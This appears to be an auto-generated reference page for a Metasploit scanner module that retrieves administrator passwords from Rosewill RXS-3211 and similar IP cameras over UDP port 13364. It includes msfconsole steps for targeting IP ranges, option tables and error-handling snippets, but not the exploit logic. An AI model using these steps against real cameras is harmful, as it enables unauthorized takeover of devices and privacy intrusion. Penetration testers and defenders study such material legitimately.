Rosewill RXS-3211 IP Camera Password Retriever - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/misc/rosewill_rxs3211_passwords metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Rosewill RXS-3211 IP Camera Password Retriever
Module: auxiliary/scanner/misc/rosewill_rxs3211_passwords
Source code: modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
Disclosure date: -
Last modification time: 2017-08-26 21:01:10 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 13364
List of CVEs: -

This module takes advantage of a protocol design issue with the Rosewill admin executable in order to retrieve passwords, allowing remote attackers to take administrative control over the device. Other similar IP Cameras such as Edimax, Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested. The protocol design issue also allows attackers to reset passwords on the device.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/misc/rosewill_rxs3211_passwords
msf auxiliary(rosewill_rxs3211_passwords) > show options
    ... show and set options ...
msf auxiliary(rosewill_rxs3211_passwords) > set RHOSTS ip-range
msf auxiliary(rosewill_rxs3211_passwords) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(rosewill_rxs3211_passwords) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(rosewill_rxs3211_passwords) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(rosewill_rxs3211_passwords) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the scanner/misc/rosewill_rxs3211_passwords auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/misc/rosewill_rxs3211_passwords

msf6 auxiliary(scanner/misc/rosewill_rxs3211_passwords) > show info

       Name: Rosewill RXS-3211 IP Camera Password Retriever
     Module: auxiliary/scanner/misc/rosewill_rxs3211_passwords
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Ben Schmidt

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CHOST                     no        The local client address
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    13364            yes       The target port (UDP)
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module takes advantage of a protocol design issue with the 
  Rosewill admin executable in order to retrieve passwords, allowing 
  remote attackers to take administrative control over the device. 
  Other similar IP Cameras such as Edimax, Hawking, Zonet, etc, are 
  also believed to have the same flaw, but not fully tested. The 
  protocol design issue also allows attackers to reset passwords on 
  the device.

Module Options


This is a complete list of options available in the scanner/misc/rosewill_rxs3211_passwords auxiliary module:

msf6 auxiliary(scanner/misc/rosewill_rxs3211_passwords) > show options

Module options (auxiliary/scanner/misc/rosewill_rxs3211_passwords):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    13364            yes       The target port (UDP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/misc/rosewill_rxs3211_passwords auxiliary module:

msf6 auxiliary(scanner/misc/rosewill_rxs3211_passwords) > show advanced

Module advanced options (auxiliary/scanner/misc/rosewill_rxs3211_passwords):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CPORT                                 no        The local client port
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/misc/rosewill_rxs3211_passwords module can do:

msf6 auxiliary(scanner/misc/rosewill_rxs3211_passwords) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/misc/rosewill_rxs3211_passwords auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/misc/rosewill_rxs3211_passwords) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection error


Here is a relevant code snippet related to the "Connection error" error message:

56:	      #Parse the reply if we get a response
57:	      if res
58:	        password = parse_reply(res)
59:	      end
60:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
61:	      print_error("Connection error")
62:	    rescue ::Interrupt
63:	      raise $!
64:	    rescue ::Exception => e
65:	      print_error("Unknown error: #{e.class} #{e}")
66:	    ensure

Unknown error: <E.CLASS> <E>


Here is a relevant code snippet related to the "Unknown error: <E.CLASS> <E>" error message:

60:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
61:	      print_error("Connection error")
62:	    rescue ::Interrupt
63:	      raise $!
64:	    rescue ::Exception => e
65:	      print_error("Unknown error: #{e.class} #{e}")
66:	    ensure
67:	      udp_sock.close if udp_sock
68:	    end
69:	
70:	    #Store the password if the parser returns something

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Ben Schmidt

Version


This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.